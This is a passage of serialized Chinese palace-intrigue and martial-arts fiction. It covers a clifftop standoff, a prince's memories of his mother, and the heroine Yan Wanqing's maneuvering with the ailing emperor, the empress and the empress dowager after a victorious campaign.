萧鸿深往悬崖的方向走了两步,又站住了。 他表情有些扭曲,但是最终归于了平静。 “你……杀了她。” 燕晚清将怀中的纪云台交给了大哥。 回过头看向萧鸿深:“是。” 萧鸿深用手掩着半张脸,发丝在他面颊上垂落,整张脸都在阴影之中,看不真切。 “你竟然杀了她……” 燕晚清冷笑:“萧鸿深你也会难过。” 她以为他是个怪物。 是个自私自利,只有自己的怪物。 “不过就是个死士,死就死了。”萧鸿深死死的盯着燕晚清:“只不过燕晚清……事情已经到了这个份上,今日谁也别想活着离开!” “刚好我也是这么想的。”燕晚清轻哼一声,内力盘旋在掌心之中:“今日我便要替常千户还有城主府内枉死的百十口人要你偿命!” “好大的口气!”萧鸿深发丝凌乱,他朝着空中拍了拍手:“那就看看,是谁要先死在这里。” 四周的山峰之上瞬间出现了很多手拿弓箭的士兵。 这就是萧鸿深有恃无恐的底气。 原来竟然是计中计。 用纪云台吸引他们至此,想要一网打尽。 只不过…… 燕晚清抬眼看向萧鸿深身后的宋化虚。 从刚刚开始他便一言不发了。 此时她很想知道这位心里在想些什么。 “晚晚别怕。”萧蘋风不知道什么时候已经站在了自己的身边,大手很自然的贴在她的后腰之处,给她完整的安全感。 他环顾四周的士兵,再看那萧鸿深疯癫的模样,微微挑眉。 “这么多年过去了,依旧是这般小打小闹,没有一点进步。” 萧鸿深最是听不到萧蘋风这种教训人的话,他眯着眼睛仇视的看过来:“激怒我只会加快你们的死期,萧蘋风你有什么好处?” “实话实说。”零星几个散兵而已,对他而言实在是不够看。 他们几个眼下还没有动手的原因,是因为他身后的宋化虚。 “动手吧。”宋化虚淡淡的开口。 萧鸿深听罢哈哈大笑,他捂着肚子,扯着伤口,依然疯疯癫癫的笑着:“都得死,你们都得死!” “是么?”燕晚清从怀中扯出一块衣服的布料,她目光坚定的看着半侧着身子的宋化虚:“不如国师大人看看这个再做决定?” 宋化虚一眼就认出了布料的主人。 脸色瞬间铁青下来,他朝着燕晚清伸出手,她只觉得一股子铺天盖地的吸力,瞬间将自己吸了过去,旁边的萧蘋风甚至只来得及抓住她的袖摆,下一秒她的脖子就被宋化虚掐住了。 “燕晚清,我一直以为你是个聪明的,知道什么东西能碰,什么东西不能碰。” 燕晚清感受着喉间的挤压,毫不畏惧的看着宋化虚,双眸异常清亮:“你只管动手,宋凝有没有好歹我可不敢保证。” “胆子当真是大了,竟敢威胁为师。”宋化虚眼中都是冷意,彻骨冰冷。 手中的力气越发大了,眼看着燕晚清别掐的脸色铁青。 萧蘋风和燕黎安再也忍不住了,直接出手。 但宋化虚何其强大,一只手掐着燕晚清,一只手还能游刃有余的对付他们二人,功力之深实在是可怕至极。 “要这样玩是吧!”萧蘋风停了下来,说了句脏话,他伸出食指和拇指做成一个圈,放在唇边猛地一吹口哨。 萧鸿深讥讽的看着他:“怎么?兄长也要摇人了。” “萧鸿深,咱们好歹也是有血缘关系的手足,今日兄长我便亲自给你示范一下,什么才叫压迫。”萧蘋风的桀骜不驯此刻已经全部褪却,周身沉淀杀气十足,这才是一个征战沙场多年的将军身上应该有的杀伐之气。 燕晚清的性命被辖制,他已经无暇再去顾及其他。 “宋化虚,本太子最后一次命令你放开燕晚清,否则休怪我不念当初那点师徒之情!”黑眸里迸射出阴沉,他直勾勾的看着宋化虚说道。 宋化虚看着他:“这才对,平日里面具戴久了,就以为自己真就是那副模样了,萧蘋风,你本就是个野心勃勃的人,何必装的那般闲云野鹤呢?” “本殿如何轮不到你来指手画脚,不要以为你掌控着父皇和萧鸿深,就也能掌控本殿,痴心妄想!”话音刚落,四周突起狼嚎,随着一头高大粗壮的银狼龇牙咧嘴的出现,周围的人全都被狼群给包裹住了。 萧蘋风竟然能够控制荒原之上的银狼! 萧鸿深大惊失色:“怎么会,这怎么可能!” 就连宋化虚眼中也闪过了惊诧之色。 萧蘋风冷笑:“怎么不可能?” 这还不够。 他还需要更多的压迫给到宋化虚。 多到让他需要思忖,值不值得在这里一决死战! 银狼之后,便是铺天盖地的士兵怒吼声,声音恍若雷声,由远及近,黑云压境,震耳欲聋,让那群站在山峰之上手拿弓箭的半吊子士兵们吓破了胆。 这才是正规军队应该给予的森冷和压迫! “你竟然把雁门关的士兵召唤到了西凉城!”萧鸿深不敢置信。 如此准确的出现,只能说这件事情他起码已经预谋了一个月。 心机之深,实在是太可怕了。 萧蘋风面容沉静,他不理会其他人,眼睛里只有燕晚清。 “你,放还是不放?” 放的话,可以商量。 不放,那就一起死! 本站网站:et 第二百六十三章 感到恶心,萧鸿深疯魔 “顺便再说一句。”旁边一直没吭声的燕黎安开了口:“光明神教我已经带人进去了一趟,若是指望他们过来救援的话,趁早死了这条心,**和付明月已经跳崖死了。” 在他们的话语中,宋化虚的面色越发难堪,眼神也越发的阴冷。 “国师大人……要不你好好想想?”有了大哥和萧蘋风给的底气,燕晚清扬了扬手里的布料:“你只有一炷香的时间,若是一炷香之后还没有赶回去,宋凝就会和你的光明神殿一起——” 她在宋化虚的眼神中,露出恶意的笑容:“碰——!尘归尘,土归土。” “燕晚清,你真该死。”宋化虚的眼神里明显出现了杀气,可是他不能动手,他教导燕晚清多年,知道她从不说虚话,若是此时他不回去,那么宋凝真的会…… 想到这里,他缓缓松开了手。 燕晚清立刻捂着自己的脖子,开始大口喘气咳嗽。 眼泪都从眼眶中咳出来了。 可是她却逐渐露出了笑容。 因为她知道了宋化虚的软肋。 他并不是高高在上,不顾世人生死的神。 有一个叫宋凝的女子,会让他牵肠挂肚,生死不能。 “都是师父教导的好,知此知彼,才能百战不殆。”错就错在,他不该让付明月和沈淑云同时出现在明月镇,错在不该勾起自己旺盛的好奇心。 “还有一件很重要的事情。”燕晚清用指腹擦了擦眼角的泪水,突然冲着萧鸿深说道:“你还不知道吧,宋凝是你的生母。” 她说的很快,宋化虚想要阻止已经来不及。 燕晚清更是说完之后,就被萧蘋风给拉到了身后保护了起来,燕黎安直接挡在他们二人之前。 看着宋化虚明显情绪外露的样子,燕晚清现在心中好不畅快。 “……她,说的是真的吗?”萧鸿深愣了一下,朝着宋化虚走了两步。 他的生母早就死了。 “所以,你保存了我母亲的尸体?”萧鸿深紧皱着眉头,本就苍白的面容上更是带了几分灰败,他双手摩挲在一起:“你说话,她说的是不是真的!” 宋化虚沉默看着他,薄唇抿紧。 “真tm恶心!” 萧鸿深不等他说话,竟然上去一拳就打在了宋化虚的脸上:“你怎么能这么恶心!那是我母亲!” 他的生母,被一个男人秘密保存着s体保存了将近二十年,换做是谁,都会觉得恶心的要死。 这个男人还让自己喊了他二十几年的亚父。 萧鸿深现在只觉得想吐。 “别发疯!”宋化虚被打了一拳之后,下面便直接抬手给了萧鸿深一掌,将其打倒在地上。 萧鸿深在地上滚了两圈,浑身都是尘土,他索性坐在了地上。 目光憎恨的看着宋化虚:“是我疯,还是你疯!” 一想到母亲的尸首会被这个男人认真fm擦拭,萧鸿深就恨不得用到戳死这个宋化虚。 “我不会让你走的,你休想走!” 见宋化虚就要离开,萧鸿深上前一把抱住了他的腰肢。 “我母亲早就死了,死人就该入土为安,我不允许你再这么亵du我的母亲!” “松手。”宋化虚冷冷的开口。 萧鸿深冷笑,双手抱得跟紧:“不,可,能!” “不知死活的东西。”宋化虚当即不再心慈手软:“往日对你的心软都是看在你母亲的脸面上,没了你母亲,你以为你能走到今天这个位置么!萧鸿深,再不松手,我要你命!” 一想到宋凝就要跟随神殿一起被炸毁,宋化虚的语气都带着几分自己察觉不到的焦灼。 “那你就杀了我!”没有想到,这件事情上面萧鸿深极其的固执,他被宋化虚的内力冲撞的五脏内府都疼痛难忍,大口大口的鲜血从唇边溢出,可是他的双手就像是铁索一样,死死的锁住在宋化虚的腰间。 宋化虚闻言,抬手对着他的天灵盖就给了一掌。 这一掌将宋化虚打的双腿都陷进去了砂石之间,可见威力之大。 “放……了……我,我……母亲……”萧鸿深磕磕绊绊的从牙口中挤出这几个字眼。 他不允许母亲的尸首再流落在人世间。 太恶心了这件事情。 “我若是不去你母亲将尸骨全无!”宋化虚低喝一声。 萧鸿深眉宇间都是坚定和固执。 他不会松手的。 哪怕尸骨全无,也好过以这种恶心人的状态存活在人世间。 “好好好,你若执意如此,那本座便成全于你。”宋化虚不再心软,戾气从身上四溢,眼看着就要将萧鸿深炸的四分五裂,萧蘋风突然出手了。 他抬手间便打断了宋化虚的招式,一只手砍在了萧鸿深的脖颈处,将其直接砍晕了过去。 “很简单的一件事情,不需要闹出人命,不是么?”他将萧鸿深从砂石里提了出来,丢在了一边。 看着宋化虚恍若杀神的模样,他轻叹一声:“此一别,光明神教和你都将被世人所知,你若是趁此机会隐姓埋名,我等还会念及旧情,若是执迷不悟,下次见面,那必是不死不休的局面。” 宋化虚的目光在他面容上扫过。 “本座既然做了那必不会缩手缩脚,不过既然你提醒了,本座也给你一个提醒,永夜终将到来,乱世是所趋,与其浑浑噩噩的活下去,不如重创一个新的人世间。”他将手放在萧蘋风的肩膀上:“而你,有这个能力……本座已经看到了。” 说完,他毫不留恋的离开。 整个人恍若一个飞箭蹿了出去,真的称得上是一步千里。 让众人再次感叹他的功力深厚。 燕晚清走到萧蘋风的身边:“他说什么了?” 萧蘋风没有打算隐瞒,直接将宋化虚刚刚说的话叙述了一遍。 燕晚清听完,沉默了一会儿,看向了萧蘋风:“我觉得他说的对,秦国国主秦舞前不久在西凉城边境上出现过,永夜真的可能到来。” “一旦六国战乱,百姓又将受苦受难,流离失所,这个仗不能轻易打起。”萧蘋风心思微敛的说道。 燕黎安对此也比较赞同:“确实,战争最后的受害者都是百姓,你自小便上过战场,见得不少了。” 燕晚清心中很乱,但是眼下不是讨论这个的时候,于是这个问题她先抛之脑后,说道。 “先把叛军拿下,然后我们不日启程回京。”她看向萧蘋风:“你现在有何打算?” “我不打算回京。”萧蘋风意外的拒绝:“那里对于我来说没有任何留恋的东西,我想去看看我母妃所说的外面的世界,顺便……” 他看了一眼坐在地上的纪云台:“送蓬莱少主回家。” 燕晚清心想也是。 “那等我处理完京城的事情,再出来找你。”她说这话的时候,满眼都是亮晶晶。 萧蘋风闻言眉眼终于染上了笑意。 他知道燕晚清说的处理完是什么意思。 届时天高路远,海阔天空,他们二人都会携手共进。 “好。”萧蘋风伸出手。 燕晚清将自己的手放了上去。 两手交握在了一起。 本站网站:et 第二百六十四章 想回京,老子想她 萧蘋风从出生的时候身体就比较虚弱。 母妃更是在生产他之后没几年便撒手人寰。 可是印象里的母妃容貌绝美,又是个饱读诗书的温润女子。 她的言语中总是有很多夫子们教都不会叫的惊世骇俗的话,可是每一句,萧蘋风都觉得特别的有道理。 “我的儿,往后你若是喜欢上一个女子,她也刚好喜欢你,你就听母妃的,死缠烂打,不管道阻且长还是其他各种原因,你只管努力,其他的交给天意。” 他将这句话一直藏在了心里。 母妃甚至还给他留了一本追妻指南。 生怕他往后娶不到媳妇儿。 可是他生下来便是大渭的太子爷,又怎么会娶不到自己的太子妃呢? 他觉得母妃是在杞人忧天。 母妃身份高贵,父皇虽然当上了皇帝,但是依然是庶子,他们的结合,也算是下嫁。 所以父皇一直对于母妃有隔阂。 母妃也不像寻常女子那边会顺着他,所以两个人见面经常是鸡飞蛋打,闹得很不愉快的分开。 逐渐的父皇拂袖离开的次数变多了,后来便在也不来他和母妃的寝宫了。 母妃也乐的清闲。 她带着自己喂鱼喂鸟放风筝,每天也很开心。 可是上苍是见不得他萧蘋风快乐的,这种幸福没有几年便彻底剥夺了。 母妃的身体一日比一日萧条,终于是没有能熬过他四岁那年的冬天,彻底撒手人寰,将他丢在了冰冷没有人情味的皇城之中。 母妃走的时候,父皇甚至都没有过来看一眼。 那天下着大雪,只有一个一身红衣的小姑娘从围墙上翻过来,给了自己一块糖糕。 “皇后娘娘是个好人,你不要哭,她一定是变成星星在天上守护你了。” 话都说不清楚,却依然很努力的用从大人口中偷听的话来安慰他。 这一刻。 萧蘋风终于知道,母妃说的心之所向是什么感觉了。 从小萧蘋风就知道自己要装作温润如玉的样子,只有这样才不会辱没大渭太子的身份,他力争所有的事情都做到最好。 世人称他是读书人的天下之光。 都是虚名。 他的心里只有一道光,是燕家的嫡小姐燕晚清。 可是她那般优秀,能上阵杀敌,比京都多数男儿还要强上几分,自己这般又如何能与之相配? 萧蘋风只能逼迫自己变得更强,甚至求了父皇去跟她拜同一个人当师父。 可是自己刚入门,她便已经出师了。 世事无常。 后来随着时间一天天过去,他与父皇之间的那点亲情,随着自己越发优秀,单薄的就像是一层即将要被捅破的窗户纸。 鲜少会见到父亲去嫉妒自己的儿子的吧? 他不知道民间会不会有这种情况发生。 但是他的父皇会因为自己被朝中大臣上书夸赞了,从而向自己派杀手。 等他弱冠的时候,已经不知道经历了多少来自父皇和兄弟们的刺杀了。 南山的那次,他成功的触摸到了自己的光。 只是她与几年前有了很大的差别。 沉默寡言,眉眼间都是忧思,每一步每一句话都精雕细琢。 曾几何时,他心目中的光亮变成了这般模样? 萧蘋风知道这其中有自己父皇的手笔。 他心中很是愧疚。 可是他同样知道,骄傲如她,不需要自己干涉过多。 毕竟,一直是他在努力追随她的脚步啊。 …… 所以听到燕晚清终于愿意给自己承诺之后,萧蘋风心里是十分高兴的,这种高兴一直持续到他们上路半个月之后,消耗殆尽了。 “殿下,您站这儿干什么呢?”属下看着自家主子每日每日都往最高的山峰上跑,心中疑惑不解。 萧蘋风眺望遥远,一望无际的荒原。 面无表情的说道:“孤想回京。” 属下:“……理由跟上次一样?“ 萧蘋风没骨气的点了点头:“嗯,老子想她了。” 属下轻叹一口气:“想就去找她,咱又不是没有这个资本。” 整个西北部都已经被他们家殿下打的服服帖帖,只要殿下有意,立刻就能占地为王,可是偏偏他们家殿下没有这个意思。搞的现在各家人心惶惶的,生怕他们家殿下心情不好又开始出去除暴安良。 萧蘋风以前觉得一日不见如隔三秋这种话,也就书上才会有,根本没有人会是这样的。 人要是连自己的感觉都控制不了的话,那就根本不配为人。 好吧。 现在他要去找自己的晚晚了。 不当人就不当人吧。 他只想站在她的身边,哪怕是看着她,他的心就感觉被填满了,整个世界都会安静下来。 从来没有这样一种渴望,这么想要回到京城。 那是他做梦都想要离开的地方。 如今因为一个人,他恨不得自己的黑雲跑的再快一点,再快一点! 将自己送到她的身边。 雁门关内。 纪云台看着满屋子盯着自己的士兵:“你家主子不是说要送我回蓬莱么?人呢。” “我家主子回京了。” 纪云台麻木:“那我怎么办?” 属下们你看我我看你,面面相觑:“要不您也进京玩两天?” 纪云台:“……我看行。” …… 西征大军浩浩荡荡从城门口进去的时候,大理寺卿谢群早早的就站在城门口迎接了。 看到燕晚清的时候,不知怎的,三十好几的男子,一下子都差点忍不住落下泪来。 “谢大人,好久不见啊。”还是燕晚清笑着跟他打了招呼。 谢群赶紧上前:“恭迎燕帅胜利班师回朝!扬我大渭国威!” 突然余光他看到了燕黎安,眼中闪过了震惊:“微臣,微臣恭迎燕大将军——!” 此一声顺利将所有人的目光都聚焦到了燕黎安身上,百姓们简直不敢相信自己的眼睛。 “是燕大将军,是他!” “他没有死,真的是他啊!老天有眼啊……” …… 谢群目光急促的落在燕晚清脸上,见她轻轻的点头之后,他的眼尾彻底红了一圈。 谁能想到早就死在雁门关的燕家嫡长子燕黎安,竟然有朝一日活着回来了。 燕黎安看着面前百姓簇拥而上的情景,脑海中再次增添了很多新鲜的画面。 旁边燕晚清伸出手捏了捏兄长的手掌心。 “大哥,我先送你回家,母亲还在等。” 她说的是先回家,而不是先进宫。 但是对此,谢群也并没有什么异议。 经过皇后娘娘那一系列的雷霆手段,此时的京都早就大翻天了。 燕晚清送了燕黎安到燕家,孙青莲早就在门口等候了,此时见到了人,又觉得在梦境中。 “母亲,孩儿不孝,让母亲担忧了。”燕黎安一下子跪在了地上。 孙青莲赶紧上前将其抱在怀中。 无数话语涌上心头,只剩下了一句:“回来就好。” 燕晚清见状红了眼圈,但是她没有下马。 她和谢群直接卸掉了盔甲和武器,压着关在马车里的萧鸿深,朝着宫门走去。 一路上谢群欲言又止。 燕晚清叹了一口气:“谢大人想说什么便说吧。” 谢群这才松了一口气:“这一路上……很艰难吧?” 公然带着已经逝去的燕大将军进京,可想其中有多么凶险,多少只眼睛都在盯着他们。 更何况,他撇了撇身后的马车,用手指指了指。 “您这样对待皇子,陛下会生气的。” “哪有什么皇子,不过是通敌叛国的罪人罢了。”燕晚清冷笑一声,直接走到了马车前面,一只手扯掉了那最后的遮羞布,将萧鸿深完完整整的暴露在众人面前。 本站网站:et 第二百六十五章 一生要强的皇帝,没力气提笔了 萧鸿深早就不复当初的光鲜亮丽,此刻蓬头垢面,疯疯癫癫,满嘴里不知道悄悄念叨什么东西。 谢群走近了听,只能听见“……杀,杀,杀杀杀……” “谢大人送到这里就够了,还有劳您将这人扣押到大理寺,等候圣上发落。”燕晚清缓缓说道。 谢群看着她的背影,眯起了双眼。 这京都算是彻底要翻天了。 从这一刻起。 燕晚清进宫之后,还没有见到皇后娘娘身边的大太监,便率先被一个长相柔美的宫女给拦住了。 “安平郡主请留步。” 那宫女直接挡在了燕晚清的跟前,让她微微蹙眉。 如此不知礼数。 到底在宫中如何存活下去。 “你是哪个宫呢?本郡主现在要去殿前面圣,陈述要事,还请你速速挪开,不要耽误正事。” 那宫女却丝毫不动,目光灼灼的盯着燕晚清:“郡主去面圣之前,还是见一见这位的好。” “谁?”敢这样拦着自己的人,整个京都可不多。 “太后娘娘。”那宫女说这话的时候,语气十分倨傲。 燕晚清回来的路上就一直再看暗卫给自己的情报,上面讲述了这一段时间所有京城里发生的事情。 她也大致了解了皇后和太后之间的恩怨。 只是她没有想到的是,这位太后竟然敢在这种时刻公然邀请自己前去她的宫中。 “多有不妥,还是等本郡主面圣之后再说吧。”燕晚清不傻,她本就是皇后党羽,太后找自己定是没有什么好果子吃。 她刚刚班师回朝,眼下请自己过去,不过就是为了用身份拿捏一二,届时下了帝后的面子,纯属就是恶心人。 那宫女还想说什么。 燕晚清已经不耐的用手将她推到了一边去。 皇帝的身体已经一如不如一日了,此时已经缠绵病榻多时,燕晚清站在殿外等待召见。 不多时,有公公出来说她可以进去了。 隔着厚厚的帷幔,依然能够闻出来药香。 “……是晚清回来了吗?咳咳!”帷幔后面,苍老的声音响起。 太监赶紧掀开帷幔,燕晚清走了进去。 皇帝面容衰老了岂止是十岁,此时已经像是一个迟暮老者,满脸都是丘壑。 那双一直野心勃勃的双眼,此刻也是只剩下了怯懦和衰败。 他看着燕晚清,招了招手。 “过来,到朕这儿来。” 燕晚清低着头走到了皇帝跟前:“安平见过陛下,陛下万岁万岁万万岁。” 皇帝重重的咳嗽了两声,自我嘲讽:“万岁?” 他的身体他知道,已经没有多久了。 在他逞能服用了那枚丹药之后,他就已经药石无医了。 宫中的太医都以为他是感染了什么恶疾,可是只有他自己知道,他是赌输了。 “这次战役你做的很好。”皇帝只字未提那七皇子萧鸿深的事情,剩下的只有对燕晚清的肯定。 燕晚清单膝跪在地上,低着头,敛眸:“多谢陛下夸奖。” “你可要什么赏赐?” 燕晚清思忖片刻:“什么赏赐都可以吗陛下?” “自然,你打了胜仗,一举灭了贵都,拓宽了我们大渭的疆土,你想要什么赏赐尽管提便是。” 皇帝十分豪气的开口。 “晚清别无所求,唯请陛下赐我燕家‘忠义’二字。”此句话一出,皇帝原本好转的脸色,瞬间有些僵硬。 旁边的太监宫女更是大气不敢喘一声了。 气氛一时之间变得有些静默。 燕晚清却不管不顾,她跪在地上不动,不吭声,分明是故意让事态变成这样。 皇帝没有台阶下,只能不断的咳嗽。 此时外面传来太监的声音。 “恭迎皇后娘娘!” 皇帝听到这个,明显松了一口气。 好在是皇后到了。 张岚依一身火红色的后服,在宫女的搀扶下走到了皇帝的跟前:“臣妾参见陛下。” “爱妃快些请起。” 皇帝赶紧拉着张岚依坐到了自己的旁边。 张岚依看着燕晚清跪在地上,疑惑的开口:“这是?陛下若是有要事,臣妾可以待会儿再过来。” “无事无事。”皇帝摇头:“晚清快些起来。” 燕晚清却没有动:“陛下说,晚清可以要任何赏赐。” 她知道,跟皇帝要求赐字“忠义”,比要了他的命还难受。 这便是逼着他当着全天下的人面前,承认自己做错了,对不起燕家。 皇帝一生要强,是万万不想这样做的。 “晚清,这件事情容朕好好想想,毕竟不是一件小事。”皇帝轻咳一声,面子上还是要过得去,不能冲一个刚打了胜仗的下属发脾气,是他身为皇帝的基本素养。 张岚依看了一眼燕晚清,两个彼此交织了一下目光,互换了想法之后,她笑着开口。 “当是什么事情呢,不过是赐字而已,陛下今日身体爽利了些,写了赐给她便是,就当是小孩子讨了一口糖吃呗。” 皇帝听到这话,心里更加是不舒服。 这往日里张岚依向来是很有眼力劲的,怎么今日这般不懂事。 “朕今日手没什么力气,提不起笔来。”皇帝心气不顺的说道。 见皇帝开始老赖,燕晚清心中也来了气,只是她不好当面说出来,事情毕竟没有到那一步。 于是她说道:“既然是这样,那安平只能等陛下身体再好一点,再过来求字了。” 皇帝见她终于松口,嗯了一声。 燕晚清从大殿之内退了出去。 出门的时候,远远的看见之前拦着自己的宫女站在一棵树后面偷偷的打量着这边。 她忍不住用舌尖顶了顶自己的小虎牙。 然后露出一抹肆意的笑来。 太后的哥哥是当今的丞相,只是大渭的丞相已经好多年没有回到京城了。 这件事情放到哪个国家来说,都是一件很奇怪的事情。 要么是皇帝让丞相在做一件很重要的事情,要么就是其实这个丞相早就死了。 留着太后放在宫里,也不过就是稳定朝臣的一个工具罢了。 按照她对于皇帝的理解,她更加倾向于后者。 曹满党羽一直都是丞相提拔上来的,眼下他们被一网打尽之后,丞相依然没有什么动作,那皇帝更是直接到太后宫里杀了三十几个太监,一切的一切都说明,其实早就没有什么丞相了。 眼下萧鸿深已经疯了,宋化虚此刻也分身乏术,她为了这天谋划了整整两世,终于就要拨开云雾见青天了。 “安平郡主,太后娘娘有请。”那宫女见燕晚清下来,再次站在了她的面前,大有她不去,自己就不走的架势。 燕晚清噙着一抹笑看着她:“前面带路。” 她记得暗卫的情报里。 这个太后娘娘,似乎还干了一件大事,这件事情差点让贵妃一尸两命,怎么着都得过去会会他。 刚要走。 突然听见身后传来张岚依的声音:“安平留步,本宫有事要问你。” 张岚依看着自己,表情十分认真,甚至说得上是凝重。 燕晚清眯了眯眼,刚要开口,却没有想到那宫女率先开口。 “皇后娘娘,凡事讲究一个先来后到,太后娘娘已经邀请了郡主过去,还请皇后娘娘等等。” 本站网站:et 第二百六十六章 李代桃僵,别无他法 “啪——!”宫女的话刚说完,张岚依身边的来福便直接走上前,给了她一巴掌。 “你是个什么东西,敢这样跟皇后娘娘说话,你是忘记后宫是谁在当家了是吧。” 宫女被打了一巴掌,唇角都带着血迹了。 她十分气不过,于是将目光放在了燕晚清的身上。 燕晚清直接将目光挪开。 她自始至终就是个皇后党羽,哪怕张岚依杀人放火,她都会在后面给她摇旗呐喊的那种,这个宫女不过才两面之缘,凭什么觉得自己会替她说话? 更何况,她又不懂得什么叫做怜香惜玉。 见燕晚清不吭声,宫女只能咬咬牙将这口气往肚子里咽。 此时来福已经恭顺的对着燕晚清:“郡主,皇后娘娘有请。” 燕晚清点点头:“有劳。”然后抬脚朝着那边走去。 太后那边是迟早要去的,但是眼下皇后找自己有事情,她定然是要先管这里。 门一关。 张岚依面上的冷静已经不复存在,她双手颤抖着拉着燕晚清的手说道。 “本宫对不住你,本宫要跟你说一件事情。” “什么事情?”燕晚清心中隐约有了不好的想法。 张岚依眼圈通红:“本宫没有能够保护好贵妃妹妹的子嗣,被人给偷走了。” 一听这话,燕晚清瞬间周身就冷了下来。 不过她没有责怪张岚依。 “无碍,这件事情我会处理的。”她双手紧紧回握张岚依:“这段时间皇后娘娘一个人在京都撑得很久了,现在微臣回来了,一切有微臣,您放心。” 听到这话,张岚依感觉自己这段时间的担惊受怕一切都有了发泄口。 她直接一把拉着燕晚清抱在了怀中,哭的那叫一个梨花带雨。 旁边的来福嬷嬷的将脸偏到了一边,看向了其他的地方。 张岚依觉得自己这段时间可是太委屈了。 平日里自己何曾心里装过这么大的事情。 每天都心惊胆战的,睡觉也睡不好,吃也吃不好,孩子丢了的那天,她更是彻夜未眠。 后来还为了不让贵妃妹妹担心,找人要了个刚生下来的孩子给她。 生怕她在坐月子的时候难受,到时候伤了本体。 燕晚清拍着皇后的背安抚道:“微臣知道,一切都交给微臣处理吧。” 张岚依擦着眼泪,哭完了也冷静了,也意识到自己干了什么。 这辈子没有这么丢脸过。 还是在比自己小了将近十岁的孩子面前。 她抹着眼泪,豆蔻鲜红。 “刚刚的事情,本宫希望你都能忘记。” 燕晚清十分诚恳:“忘不掉,待会儿微臣还要说给叔父听。” 张岚依:“……你给本宫死!”她面对燕京的时候都没有这放肆好不好。 从皇后的寝宫出来,燕晚清又直接去了一趟孙涟漪那边。 彼时她正趁着阳光明媚,抱着孩子坐在屋檐之下吹风晒太阳。 孩子在襁褓之中,被她逗得乐呵呵。 宫内的宫女瞧见她来了,想要去通报,被燕晚清给拦住了。 看着孙涟漪怀中的孩子,她轻叹了一口气。 真希望事情还有挽救的机会,不然她真的不知道要如何向孙涟漪解释。 那个偷走孩子的人实在是罪大恶极,若是被她抓到,定要碎尸万段! 那走廊下的母子俩看起来岁月静好,十分安逸。 燕晚清慢慢的退到了外面,跟宫女们吩咐道:“不要说我来过这里。” 燕黎安活着回来的事情,孙涟漪还不知道啊…… 一是她不知道要如何开口,二是大哥现在记忆没有恢复,三是时机还不成熟。 凡事还是先等孙涟漪坐完月子之后再说吧。 刚出殿门,她再次看见了那个宫女。 真是敬佩她的决心。 “郡主,您这次可以跟奴婢去见皇后娘娘了吧。”宫女站在燕晚清面前。 她跟了一路。 早就口干舌燥,累的不行。 但若是不把燕晚清带过去,等待她的会比这个更可怕。 燕晚清看着她眼里的执着,点了点头:“前面带路吧。” 太后的寝宫在深宫之内,要走不少路。 一路上燕晚清都没有怎么开口,反倒是这个宫女一直在找话题,企图从她口中获得一些消息。 这种小把戏,在她的眼中实在是不入流。 加上一路舟车劳顿,她早就没有了心思面对这种小人物的纠缠,索性闭了嘴。 等到了太后宫殿前,才看见一群宫女都站在外面。 此时虽然已经是过了午时,可是直面阳光还是比较炎热的,尤其是这样直接站在阳光底下,燕晚清注意到这群宫女每个人都被晒得面红耳赤,痛苦不堪。 “这是做什么?”她忍不住问道。 人非草木,孰能无情,她最是看不过贵人拿下人的性命不当回事。 若是犯错,是打是骂按照规矩来。 若人家没有犯错,平白无故就折辱人,这是极其过分的。 那带头的宫女看了一眼,眼里都是忌惮和害怕,她没回答,反倒是催促着燕晚清快些进去:“郡主,太后娘娘就在里面等您呢。” “里面有伺候的人么?”燕晚清站着没动:“总共就这么多宫女,都站在外面晒太阳不干活,难不成等本郡主进去自己沏茶?” 宫女们面面相觑,还是没敢动。 她们不动,燕晚清也不动。 太后想用这种方式来折辱自己,她就给她这个机会,看看究竟是谁的手段更高一点。 那宫女见燕晚清迟迟不肯进去,只能自己跑进去复命,没多时就面颊上便顶了个巴掌印子出来了。 她对着宫女们说道:“太后娘娘有令,让你们进屋伺候。” 燕晚清看着她面颊上的红肿,微微蹙眉,很快便恢复到了如常。 为奴为婢,这是正常的。 她没法管,也管不过来。 走进大殿之内。 两个宫女正在给那高座之上的女子扇扇子。 燕晚清走进去之后,两个人四目相对。 是个不好相与的人。 燕晚清的第一感觉。 她站的笔直:“给太后娘娘请安,娘娘千岁千岁千千岁。” “安平郡主好大的架子,见到太后娘娘竟然不行跪拜礼。”太后没吭声,她旁边的宫女刻薄的开了口。 燕晚清见状轻笑一声:“太后娘娘别见怪,圣上特许安平可不行跪拜礼,娘娘刚从深宫出来,不知道这些事情也是正常的,我们这些晚辈也是第一次见到您呢。” 太后斜眼扫了过去:“好一张伶俐的嘴,难怪能够说服陛下带兵西征,这女子带兵打仗当真是天下奇事了,哀家特意让人喊你过来说说,没想到郡主架子这般大,竟让哀家好一阵等。” “这圣上不放人,安平也是没有办法,要不您亲自和圣上说道说道?下次早日放安平过来见您。”燕晚清四两拨千斤,又拉上了皇帝背锅。 太后前不久刚被皇帝当着面怒杀三十个“太监”,此刻再听见这个人,两眼都是冒着黑光的。 但是她也知道,眼前的这个安平郡主,和往日里的那些小角色不一样。 对待她,她需要打起十二万分的精神。 “来人,给郡主上茶。” 本站网站:et 第二百六十七章 必死之局,太后化险为夷 “郡主真乃我大渭女子之表率,能文能武,还能带兵打仗,眼下整个京都的女子见到你比见到陛下还要热情呢。”太后轻轻的抿了一口茶说道。 燕晚清眼里闪过一丝冷色。 这顶高帽子她可不敢接。 “不过就是姑娘们一时之间觉得新鲜,很快风头就会过去,安平哪里能和陛下相提并论,太后娘娘许久不出来了,性子当真是烂漫天真,有些话可不能乱说的。” 不过就是前朝留下来的太后,仗着那点皇室秘辛,活到了现在。 眼下皇帝都不给她面子,那么她又凭什么觉得能够站在她燕晚清的头上作妖? “燕晚清!”太后见她说话尖酸刻薄,已经完全不给自己面子了,当下冷着脸:“你简直是放肆!” “人敬我一尺,我敬人一丈。”燕晚清缓缓起身:“人若犯我,我必诛之。” 她直面那高位上的太后,微微侧歪头,露出一抹笑容来。 “太后娘娘当年的事情,知道的人事少,但有句话叫做天下没有透风的墙,真不巧,这墙里的风,安平恰巧就知道了些。” “你——”太后没有想到燕晚清会如此不给自己面子,当众说出这些话来,气得脸一阵红一阵白。 当年的事情,她确信按照皇帝的手笔,势必不会留下任何一个活口。 怎么偏偏燕晚清提出来了? 当年她不过还是个黄毛丫头,怎么会知道? 一时之间,太后心乱如麻。 “今日前来,安平其实也有一件事情想要和太后娘娘交个底,若是您愿意,咱们往后大可当个盟友,安平保证只要有我一天,您定会高枕无忧,依然当这太后。”燕晚清直接开口道:“但若是您不愿意,那各自有各自的想法,安平可能也会管不住嘴。” 她不喜和妇人行口舌之争,快刀斩乱麻,直接说明自己的来意。 